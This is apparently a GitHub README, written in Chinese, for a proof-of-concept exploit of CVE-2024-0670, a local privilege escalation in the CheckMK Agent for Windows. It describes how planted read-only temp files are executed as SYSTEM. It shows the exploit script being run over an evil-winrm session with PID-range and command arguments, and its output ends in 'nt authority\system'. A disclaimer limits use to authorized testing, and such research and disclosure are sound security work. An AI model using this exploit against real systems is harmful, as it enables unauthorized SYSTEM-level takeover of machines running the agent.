magicrc/cve-2024-0670PoC for CVE-2024-0670
该仓库提供了一个针对 CVE-2024-0670 漏洞的 概念验证（PoC） 利用代码，影响 Windows 系统上的 CheckMK Agent。该漏洞发生在 CheckMK Agent 在 C:\Windows\Temp 目录中创建并执行临时文件时。攻击者可以通过在具有写保护权限的目录中预先放置恶意文件来滥用此行为。当代理尝试创建已存在且为只读的临时文件时，无法覆盖该文件，但仍会以 SYSTEM 权限执行现有文件，从而实现权限提升。
咨询参考：SEC Consult - 通过可写文件在 Checkmk Agent 中实现本地权限提升
本项目仅用于教育、研究及授权安全测试目的。
请勿在您不拥有或未获得明确许可的系统上使用此代码。
作者不对任何损害或滥用行为负责。
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
[+] Searching for Check MK installer...
[+] Found: C:\Windows\Installer\1e6f2.msi
[+] Using command: whoami > C:\Windows\Temp\whoami.txt
[+] Preparing 18000 .cmd files...
[*] Progress: 0%
[*] Progress: 10%
[*] Progress: 20%
[*] Progress: 30%
[*] Progress: 40%
[*] Progress: 50%
[*] Progress: 60%
[*] Progress: 70%
[*] Progress: 80%
[*] Progress: 90%
[*] Progress: 100%
[+] Triggering MSI to execute command...
[+] Done
evil-winrm-py PS C:\Users\magicrc\Desktop> cat C:\Windows\Temp\whoami.txt
nt authority\system